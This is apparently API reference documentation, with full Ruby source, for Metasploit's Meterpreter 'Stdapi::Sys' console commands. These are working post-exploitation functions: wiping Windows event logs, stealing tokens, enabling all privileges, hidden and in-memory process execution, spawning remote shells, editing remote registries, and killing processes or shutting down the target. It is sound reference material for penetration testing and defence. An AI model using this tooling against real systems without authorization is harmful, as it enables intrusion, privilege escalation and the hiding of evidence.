Class: Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Stdapi::Sys

Inherits:
Object
  • Object
show all
Includes:
Rex::Post::Meterpreter::Ui::Console::CommandDispatcher
Defined in:
lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb

Overview

The system level portion of the standard API extension.

Constant Summary collapse

Klass =
Console::CommandDispatcher::Stdapi::Sys
@@execute_opts =

Options used by the 'execute' command.

Rex::Parser::Arguments.new(
"-a" => [ true,  "The arguments to pass to the command."                   ],
"-c" => [ false, "Channelized I/O (required for interaction)."             ],
"-f" => [ true,  "The executable command to run."                          ],
"-h" => [ false, "Help menu."                                              ],
"-H" => [ false, "Create the process hidden from view."                    ],
"-i" => [ false, "Interact with the process after creating it."            ],
"-m" => [ false, "Execute from memory."                                    ],
"-d" => [ true,  "The 'dummy' executable to launch when using -m."         ],
"-t" => [ false, "Execute process with currently impersonated thread token"],
"-k" => [ false, "Execute process on the meterpreters current desktop"     ],
"-s" => [ true,  "Execute process in a given session as the session user"  ])
@@reboot_opts =

Options used by the 'reboot' command.

Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu."                                              ],
"-f" => [ true,  "Force a reboot, valid values [1|2]"                      ])
@@shutdown_opts =

Options used by the 'shutdown' command.

Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu."                                              ],
"-f" => [ true,  "Force a shutdown, valid values [1|2]"                    ])
@@reg_opts =

Options used by the 'reg' command.

Rex::Parser::Arguments.new(
"-d" => [ true,  "The data to store in the registry value."                ],
"-h" => [ false, "Help menu."                                              ],
"-k" => [ true,  "The registry key path (E.g. HKLM\\Software\\Foo)."       ],
"-t" => [ true,  "The registry value type (E.g. REG_SZ)."                  ],
"-v" => [ true,  "The registry value name (E.g. Stuff)."                   ],
"-r" => [ true,  "The remote machine name to connect to (with current process credentials" ],
"-w" => [ false, "Set KEY_WOW64 flag, valid values [32|64]."               ])
@@ps_opts =

Options for the 'ps' command.

Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu."                                              ],
"-S" => [ true,  "Filters processes on the process name using the supplied RegEx"],
"-A" => [ true,  "Filters processes on architecture (x86 or x86_64)"       ],
"-s" => [ false, "Show only SYSTEM processes"                              ],
"-U" => [ true,  "Filters processes on the user using the supplied RegEx"  ])
@@suspend_opts =

Options for the 'suspend' command.

Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu."                                              ],
"-c" => [ false, "Continues suspending or resuming even if an error is encountered"],
"-r" => [ false, "Resumes the target processes instead of suspending"      ])

Instance Attribute Summary

Attributes included from Ui::Text::DispatcherShell::CommandDispatcher

#shell, #tab_complete_items

Instance Method Summary collapse

Methods included from Rex::Post::Meterpreter::Ui::Console::CommandDispatcher

check_hash, #client, #initialize, #log_error, #msf_loaded?, set_hash

Methods included from Ui::Text::DispatcherShell::CommandDispatcher

#cmd_help, #cmd_help_help, #cmd_help_tabs, #deprecated_cmd, #deprecated_commands, #deprecated_help, #help_to_s, #initialize, #print, #print_error, #print_good, #print_line, #print_status, #print_warning, #tab_complete_filenames, #update_prompt

Instance Method Details

#cmd_clearev(*args) ⇒ Object

Clears the event log


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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 312

def cmd_clearev(*args)

  logs = ['Application', 'System', 'Security']
  logs << args
  logs.flatten!

  logs.each do |name|
    log = client.sys.eventlog.open(name)
    print_status("Wiping #{log.length} records from #{name}...")
    log.clear
  end
end

#cmd_drop_token(*args) ⇒ Object

Drops any assumed token.


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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 782

def cmd_drop_token(*args)
  print_line("Relinquished token, now running as: " + client.sys.config.drop_token())
end

#cmd_execute(*args) ⇒ Object

Executes a command with some options.


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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 161

def cmd_execute(*args)
  if (args.length == 0)
    args.unshift("-h")
  end

  session     = nil
  interact    = false
  desktop     = false
  channelized = nil
  hidden      = nil
  from_mem    = false
  dummy_exec  = "cmd"
  cmd_args    = nil
  cmd_exec    = nil
  use_thread_token = false

  @@execute_opts.parse(args) { |opt, idx, val|
    case opt
      when "-a"
        cmd_args = val
      when "-c"
        channelized = true
      when "-f"
        cmd_exec = val
      when "-H"
        hidden = true
      when "-m"
        from_mem = true
      when "-d"
        dummy_exec = val
      when "-k"
        desktop = true
      when "-h"
        print(
          "Usage: execute -f file [options]\n\n" +
          "Executes a command on the remote machine.\n" +
          @@execute_opts.usage)
        return true
      when "-i"
        channelized = true
        interact = true
      when "-t"
        use_thread_token = true
      when "-s"
        session = val.to_i
    end
  }

  # Did we at least get an executable?
  if (cmd_exec == nil)
    print_error("You must specify an executable file with -f")
    return true
  end

  # Execute it
  p = client.sys.process.execute(cmd_exec, cmd_args,
    'Channelized' => channelized,
    'Desktop'     => desktop,
    'Session'     => session,
    'Hidden'      => hidden,
    'InMemory'    => (from_mem) ? dummy_exec : nil,
    'UseThreadToken' => use_thread_token)

  print_line("Process #{p.pid} created.")
  print_line("Channel #{p.channel.cid} created.") if (p.channel)

  if (interact and p.channel)
    shell.interact_with_channel(p.channel)
  end
end

#cmd_getenv(*args) ⇒ Object

Get the value of one or more environment variables from the target.


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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 285

def cmd_getenv(*args)
  vars = client.sys.config.getenvs(*args)

  if vars.length == 0
    print_error("None of the specified environment variables were found/set.")
  else
    table = Rex::Ui::Text::Table.new(
      'Header'    => 'Environment Variables',
      'Indent'    => 0,
      'SortIndex' => 1,
      'Columns'   => [
        'Variable', 'Value'
      ]
    )

    vars.each do |var, val|
      table << [ var, val ]
    end

    print_line
    print_line(table.to_s)
  end
end

#cmd_getpid(*args) ⇒ Object

Gets the process identifier that meterpreter is running in on the remote machine.


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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 269

def cmd_getpid(*args)
  print_line("Current pid: #{client.sys.process.getpid}")

  return true
end

#cmd_getprivs(*args) ⇒ Object

Obtains as many privileges as possible on the target machine.


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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 755

def cmd_getprivs(*args)
  if args.include? "-h"
    cmd_getprivs_help
  end
  print_line("=" * 60)
  print_line("Enabled Process Privileges")
  print_line("=" * 60)
  client.sys.config.getprivs.each do |priv|
    print_line("  #{priv}")
  end
  print_line("")
end

#cmd_getprivs_helpObject


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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 741

def cmd_getprivs_help
  print_line "Usage: getprivs"
  print_line
  print_line "Attempt to enable all privileges, such as SeDebugPrivilege, available to the"
  print_line "current process.  Note that this only enables existing privs and does not change"
  print_line "users or tokens."
  print_line
  print_line "See also: steal_token, getsystem"
  print_line
end

#cmd_getuid(*args) ⇒ Object

Displays the user that the server is running as.


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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 278

def cmd_getuid(*args)
  print_line("Server username: #{client.sys.config.getuid}")
end

#cmd_kill(*args) ⇒ Object

Kills one or more processes.


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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 328

def cmd_kill(*args)
  # give'em help if they want it, or seem confused
  if ( args.length == 0 or (args.length == 1 and args[0].strip == "-h") )
    cmd_kill_help
    return true
  end

  self_destruct = args.include?("-s")

  if self_destruct
    valid_pids = [client.sys.process.getpid.to_i]
  else
    valid_pids = validate_pids(args)

    # validate all the proposed pids first so we can bail if one is bogus
    args.uniq!
    diff = args - valid_pids.map {|e| e.to_s}
    if not diff.empty? # then we had an invalid pid
      print_error("The following pids are not valid:  #{diff.join(", ").to_s}.  Quitting")
      return false
    end
  end

  # kill kill kill
  print_line("Killing: #{valid_pids.join(", ").to_s}")
  client.sys.process.kill(*(valid_pids.map { |x| x }))
  return true
end

#cmd_kill_helpObject

help for the kill command


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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 360

def cmd_kill_help
  print_line("Usage: kill [pid1 [pid2 [pid3 ...]]] [-s]")
  print_line("Terminate one or more processes.")
  print_line(" -s : Kills the pid associated with the current session.")
end

#cmd_ps(*args) ⇒ Object

Lists running processes.


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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 415

def cmd_ps(*args)
  processes = client.sys.process.get_processes
  @@ps_opts.parse(args) do |opt, idx, val|
    case opt
    when "-h"
      cmd_ps_help
      return true
    when "-S"
      print_line "Filtering on process name..."
      searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
      processes.each do |proc|
        if val.nil? or val.empty?
          print_line "You must supply a search term!"
          return false
        end
        searched_procs << proc  if proc["name"].match(/#{val}/)
      end
      processes = searched_procs
    when "-A"
      print_line "Filtering on arch..."
      searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
      processes.each do |proc|
        next if proc['arch'].nil? or proc['arch'].empty?
        if val.nil? or val.empty? or !(val == "x86" or val == "x86_64")
          print_line "You must select either x86 or x86_64"
          return false
        end
        searched_procs << proc  if proc["arch"] == val
      end
      processes = searched_procs
    when "-s"
      print_line "Filtering on SYSTEM processes..."
      searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
      processes.each do |proc|
        searched_procs << proc  if proc["user"] == "NT AUTHORITY\\SYSTEM"
      end
      processes = searched_procs
    when "-U"
      print_line "Filtering on user name..."
      searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
      processes.each do |proc|
        if val.nil? or val.empty?
          print_line "You must supply a search term!"
          return false
        end
        searched_procs << proc  if proc["user"].match(/#{val}/)
      end
      processes = searched_procs
    end
  end
  if (processes.length == 0)
    print_line("No running processes were found.")
  else
    print_line
    print_line(processes.to_table("Indent" => 1).to_s)
    print_line
  end
  return true
end

#cmd_ps_helpObject


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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 475

def cmd_ps_help
  print_line "Use the command with no arguments to see all running processes."
  print_line "The following options can be used to filter those results:"

  print_line @@ps_opts.usage
end

#cmd_reboot(*args) ⇒ Object

Reboots the remote computer.


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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 487

def cmd_reboot(*args)
  force = 0

  if args.length == 1 and args[0].strip == "-h"
    print(
      "Usage: reboot [options]\n\n" +
      "Reboot the remote machine.\n" +
      @@reboot_opts.usage)
      return true
  end

  @@reboot_opts.parse(args) { |opt, idx, val|
    case opt
      when "-f"
        force = val.to_i
    end
  }
  print_line("Rebooting...")

  client.sys.power.reboot(force, SHTDN_REASON_DEFAULT)
end

#cmd_reg(*args) ⇒ Object

Modifies and otherwise interacts with the registry on the remote computer by allowing the client to enumerate, open, modify, and delete registry keys and values.


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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 514

def cmd_reg(*args)
  # Extract the command, if any
  cmd = args.shift

  if (args.length == 0)
    args.unshift("-h")
  end

  # Initiailze vars
  key     = nil
  value   = nil
  data    = nil
  type    = nil
  wowflag = 0x0000
  rem     = nil

  @@reg_opts.parse(args) { |opt, idx, val|
    case opt
      when "-h"
        print_line(
          "Usage: reg [command] [options]\n\n" +
          "Interact with the target machine's registry.\n" +
          @@reg_opts.usage +
          "COMMANDS:\n\n" +
          "    enumkey    Enumerate the supplied registry key [-k <key>]\n" +
          "    createkey  Create the supplied registry key  [-k <key>]\n" +
          "    deletekey  Delete the supplied registry key  [-k <key>]\n" +
          "    queryclass Queries the class of the supplied key [-k <key>]\n" +
          "    setval     Set a registry value [-k <key> -v <val> -d <data>]\n" +
          "    deleteval  Delete the supplied registry value [-k <key> -v <val>]\n" +
          "    queryval   Queries the data contents of a value [-k <key> -v <val>]\n\n")
        return false
      when "-k"
        key   = val
      when "-v"
        value = val
      when "-t"
        type  = val
      when "-d"
        data  = val
      when "-r"
        rem  = val
      when "-w"
        if val == '64'
          wowflag = KEY_WOW64_64KEY
        elsif val == '32'
          wowflag = KEY_WOW64_32KEY
        end
    end
  }

  # All commands require a key.
  if (key == nil)
    print_error("You must specify a key path (-k)")
    return false
  end

  # Split the key into its parts
  root_key, base_key = client.sys.registry.splitkey(key)

  begin
    # Rock it
    case cmd
      when "enumkey"

        open_key = nil
        if not rem
          open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + wowflag)
        else
          remote_key = client.sys.registry.open_remote_key(rem, root_key)
          if remote_key
            open_key = remote_key.open_key(base_key, KEY_READ + wowflag)
          end
        end

        print_line(
          "Enumerating: #{key}\n")

        keys = open_key.enum_key
        vals = open_key.enum_value

        if (keys.length > 0)
          print_line("  Keys (#{keys.length}):\n")

          keys.each { |subkey|
            print_line("\t#{subkey}")
          }

          print_line
        end

        if (vals.length > 0)
          print_line("  Values (#{vals.length}):\n")

          vals.each { |val|
            print_line("\t#{val.name}")
          }

          print_line
        end

        if (vals.length == 0 and keys.length == 0)
          print_line("No children.")
        end

      when "createkey"
        open_key = nil
        if not rem
          open_key = client.sys.registry.create_key(root_key, base_key, KEY_WRITE + wowflag)
        else
          remote_key = client.sys.registry.open_remote_key(rem, root_key)
          if remote_key
            open_key = remote_key.create_key(base_key, KEY_WRITE + wowflag)
          end
        end

        print_line("Successfully created key: #{key}")

      when "deletekey"
        open_key = nil
        if not rem
          open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE + wowflag)
        else
          remote_key = client.sys.registry.open_remote_key(rem, root_key)
          if remote_key
            open_key = remote_key.open_key(base_key, KEY_WRITE + wowflag)
          end
        end
        open_key.delete_key(base_key)

        print_line("Successfully deleted key: #{key}")

      when "setval"
        if (value == nil or data == nil)
          print_error("You must specify both a value name and data (-v, -d).")
          return false
        end

        type = "REG_SZ" if (type == nil)

        open_key = nil
        if not rem
          open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE + wowflag)
        else
          remote_key = client.sys.registry.open_remote_key(rem, root_key)
          if remote_key
            open_key = remote_key.open_key(base_key, KEY_WRITE + wowflag)
          end
        end

        open_key.set_value(value, client.sys.registry.type2str(type), data)

        print_line("Successful set #{value}.")

      when "deleteval"
        if (value == nil)
          print_error("You must specify a value name (-v).")
          return false
        end

        open_key = nil
        if not rem
          open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE + wowflag)
        else
          remote_key = client.sys.registry.open_remote_key(rem, root_key)
          if remote_key
            open_key = remote_key.open_key(base_key, KEY_WRITE + wowflag)
          end
        end

        open_key.delete_value(value)

        print_line("Successfully deleted #{value}.")

      when "queryval"
        if (value == nil)
          print_error("You must specify a value name (-v).")
          return false
        end

        open_key = nil
        if not rem
          open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + wowflag)
        else
          remote_key = client.sys.registry.open_remote_key(rem, root_key)
          if remote_key
            open_key = remote_key.open_key(base_key, KEY_READ + wowflag)
          end
        end

        v = open_key.query_value(value)

        print(
          "Key: #{key}\n" +
          "Name: #{v.name}\n" +
          "Type: #{v.type_to_s}\n" +
          "Data: #{v.data}\n")

      when "queryclass"
        open_key = nil
        if not rem
          open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + wowflag)
        else
          remote_key = client.sys.registry.open_remote_key(rem, root_key)
          if remote_key
            open_key = remote_key.open_key(base_key, KEY_READ + wowflag)
          end
        end

        data = open_key.query_class

        print("Data: #{data}\n")
      else
        print_error("Invalid command supplied: #{cmd}")
    end
  ensure
    open_key.close if (open_key)
  end
end

#cmd_rev2self(*args) ⇒ Object

Calls RevertToSelf() on the remote machine.


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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 737

def cmd_rev2self(*args)
  client.sys.config.revert_to_self
end

#cmd_shell(*args) ⇒ Object

Drop into a system shell as specified by %COMSPEC% or as appropriate for the host.


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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 236

def cmd_shell(*args)
  case client.platform
  when /win/
    path = client.fs.file.expand_path("%COMSPEC%")
    path = (path and not path.empty?) ? path : "cmd.exe"

    # attempt the shell with thread impersonation
    begin
      cmd_execute("-f", path, "-c", "-H", "-i", "-t")
    rescue
      # if this fails, then we attempt without impersonation
      print_error( "Failed to spawn shell with thread impersonation. Retrying without it." )
      cmd_execute("-f", path, "-c", "-H", "-i")
    end
  when /linux/
    # Don't expand_path() this because it's literal anyway
    path = "/bin/sh"
    cmd_execute("-f", path, "-c", "-i")
  else
    # Then this is a multi-platform meterpreter (php or java), which
    # must special-case COMSPEC to return the system-specific shell.
    path = client.fs.file.expand_path("%COMSPEC%")
    # If that failed for whatever reason, guess it's unix
    path = (path and not path.empty?) ? path : "/bin/sh"
    cmd_execute("-f", path, "-c", "-i")
  end
end

#cmd_shutdown(*args) ⇒ Object

Shuts down the remote computer.


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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 805

def cmd_shutdown(*args)
  force = 0

  if args.length == 1 and args[0].strip == "-h"
    print(
      "Usage: shutdown [options]\n\n" +
      "Shutdown the remote machine.\n" +
      @@shutdown_opts.usage)
      return true
  end

  @@shutdown_opts.parse(args) { |opt, idx, val|
    case opt
      when "-f"
        force = val.to_i
    end
  }

  print_line("Shutting down...")

  client.sys.power.shutdown(force, SHTDN_REASON_DEFAULT)
end

#cmd_steal_token(*args) ⇒ Object

Tries to steal the primary token from the target process.


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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 771

def cmd_steal_token(*args)
  if(args.length != 1 or args[0] == "-h")
    print_error("Usage: steal_token [pid]")
    return
  end
  print_line("Stolen token with username: " + client.sys.config.steal_token(args[0]))
end

#cmd_suspend(*args) ⇒ Boolean

TODO:

Accept process names, much of that code is done (kernelsmith)

Suspends or resumes a list of one or more pids

args can optionally be -c to continue on error or -r to resume instead of suspend, followed by a list of one or more valid pids

Parameters:

  • args (Array<String>)

    List of one of more pids

Returns:

  • (Boolean)

    Returns true if command was successful, else false


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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 838

def cmd_suspend(*args)
  # give'em help if they want it, or seem confused
  if args.length == 0 or (args.include? "-h")
    cmd_suspend_help
    return true
  end

  continue = args.delete("-c") || false
  resume = args.delete("-r") || false

  # validate all the proposed pids first so we can bail if one is bogus
  valid_pids = validate_pids(args)
  args.uniq!
  diff = args - valid_pids.map {|e| e.to_s}
  if not diff.empty? # then we had an invalid pid
    print_error("The following pids are not valid:  #{diff.join(", ").to_s}.")
    if continue
      print_status("Continuing.  Invalid args have been removed from the list.")
    else
      print_error("Quitting.  Use -c to continue using only the valid pids.")
      return false
    end
  end

  targetprocess = nil
  if resume
    print_status("Resuming: #{valid_pids.join(", ").to_s}")
  else
    print_status("Suspending: #{valid_pids.join(", ").to_s}")
  end
  begin
    valid_pids.each do |pid|
      print_status("Targeting process with PID #{pid}...")
      targetprocess = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
      targetprocess.thread.each_thread do |x|
        if resume
          targetprocess.thread.open(x).resume
        else
          targetprocess.thread.open(x).suspend
        end
      end
    end
  rescue ::Rex::Post::Meterpreter::RequestError => e
    print_error "Error acting on the process:  #{e.to_s}."
    print_error "Try migrating to a process with the same owner as the target process."
    print_error "Also consider running the win_privs post module and confirm SeDebug priv."
    return false unless continue
  ensure
    targetprocess.close if targetprocess
  end
  return true
end

#cmd_suspend_helpObject

help for the suspend command


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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 894

def cmd_suspend_help
  print_line("Usage: suspend [options] pid1 pid2 pid3 ...")
  print_line("Suspend one or more processes.")
  print @@suspend_opts.usage
end

#cmd_sysinfo(*args) ⇒ Object

Displays information about the remote system.


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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 789

def cmd_sysinfo(*args)
  info = client.sys.config.sysinfo
  width = "Meterpreter".length
  info.keys.each { |k| width = k.length if k.length > width and info[k] }

  info.each_pair do |key, value|
    print_line("#{key.ljust(width+1)}: #{value}") if value
  end
  print_line("#{"Meterpreter".ljust(width+1)}: #{client.platform}")

  return true
end

#commandsObject

List of supported commands.


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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 83

def commands
  all = {
    "clearev"     => "Clear the event log",
    "drop_token"  => "Relinquishes any active impersonation token.",
    "execute"     => "Execute a command",
    "getpid"      => "Get the current process identifier",
    "getprivs"    => "Attempt to enable all privileges available to the current process",
    "getuid"      => "Get the user that the server is running as",
    "getenv"      => "Get one or more environment variable values",
    "kill"        => "Terminate a process",
    "ps"          => "List running processes",
    "reboot"      => "Reboots the remote computer",
    "reg"         => "Modify and interact with the remote registry",
    "rev2self"    => "Calls RevertToSelf() on the remote machine",
    "shell"       => "Drop into a system command shell",
    "shutdown"    => "Shuts down the remote computer",
    "steal_token" => "Attempts to steal an impersonation token from the target process",
    "suspend"     => "Suspends or resumes a list of processes",
    "sysinfo"     => "Gets information about the remote system, such as OS",
  }
  reqs = {
    "clearev"     => [ "stdapi_sys_eventlog_open", "stdapi_sys_eventlog_clear" ],
    "drop_token"  => [ "stdapi_sys_config_drop_token" ],
    "execute"     => [ "stdapi_sys_process_execute" ],
    "getpid"      => [ "stdapi_sys_process_getpid"  ],
    "getprivs"    => [ "stdapi_sys_config_getprivs" ],
    "getuid"      => [ "stdapi_sys_config_getuid" ],
    "getenv"      => [ "stdapi_sys_config_getenv" ],
    "kill"        => [ "stdapi_sys_process_kill" ],
    "ps"          => [ "stdapi_sys_process_get_processes" ],
    "reboot"      => [ "stdapi_sys_power_exitwindows" ],
    "reg"         => [
      "stdapi_registry_load_key",
      "stdapi_registry_unload_key",
      "stdapi_registry_open_key",
      "stdapi_registry_open_remote_key",
      "stdapi_registry_create_key",
      "stdapi_registry_delete_key",
      "stdapi_registry_close_key",
      "stdapi_registry_enum_key",
      "stdapi_registry_set_value",
      "stdapi_registry_query_value",
      "stdapi_registry_delete_value",
      "stdapi_registry_query_class",
      "stdapi_registry_enum_value",
    ],
    "rev2self"    => [ "stdapi_sys_config_rev2self" ],
    "shell"       => [ "stdapi_sys_process_execute" ],
    "shutdown"    => [ "stdapi_sys_power_exitwindows" ],
    "steal_token" => [ "stdapi_sys_config_steal_token" ],
    "suspend"     => [ "stdapi_sys_process_attach"],
    "sysinfo"     => [ "stdapi_sys_config_sysinfo" ],
  }

  all.delete_if do |cmd, desc|
    del = false
    reqs[cmd].each do |req|
      next if client.commands.include? req
      del = true
      break
    end

    del
  end

  all
end

#nameObject

Name for this dispatcher.


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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 154

def name
  "Stdapi: System"
end

#validate_pids(pids, allow_pid_0 = false, allow_session_pid = false) ⇒ Array

validates an array of pids against the running processes on target host behavior can be controlled to allow/deny proces 0 and the session's process the pids:

  • are converted to integers

  • have had pid 0 removed unless allow_pid_0

  • have had current session pid removed unless allow_session_pid (to protect the session)

  • have redundant entries removed

Parameters:

  • pids (Array<String>)

    The pids to validate

  • allow_pid_0 (Boolean) (defaults to: false)

    whether to consider a pid of 0 as valid

  • allow_session_pid (Boolean) (defaults to: false)

    whether to consider a pid = the current session pid as valid

Returns:

  • (Array)

    Returns an array of valid pids


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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 380

def validate_pids(pids, allow_pid_0 = false, allow_session_pid = false)

  return [] if (pids.class != Array or pids.empty?)
  valid_pids = []
  # to minimize network traffic, we only get host processes once
  host_processes = client.sys.process.get_processes
  if host_processes.length < 1
    print_error "No running processes found on the target host."
    return []
  end

  # get the current session pid so we don't suspend it later
  mypid = client.sys.process.getpid.to_i

  # remove nils & redundant pids, conver to int
  clean_pids = pids.compact.uniq.map{|x| x.to_i}
  # now we look up the pids & remove bad stuff if nec
  clean_pids.delete_if do |p|
    ( (p == 0 and not allow_pid_0) or (p == mypid and not allow_session_pid) )
  end
  clean_pids.each do |pid|
    # find the process with this pid
    theprocess = host_processes.find {|x| x["pid"] == pid}
    if ( theprocess.nil? )
      next
    else
      valid_pids << pid
    end
  end
  return valid_pids
end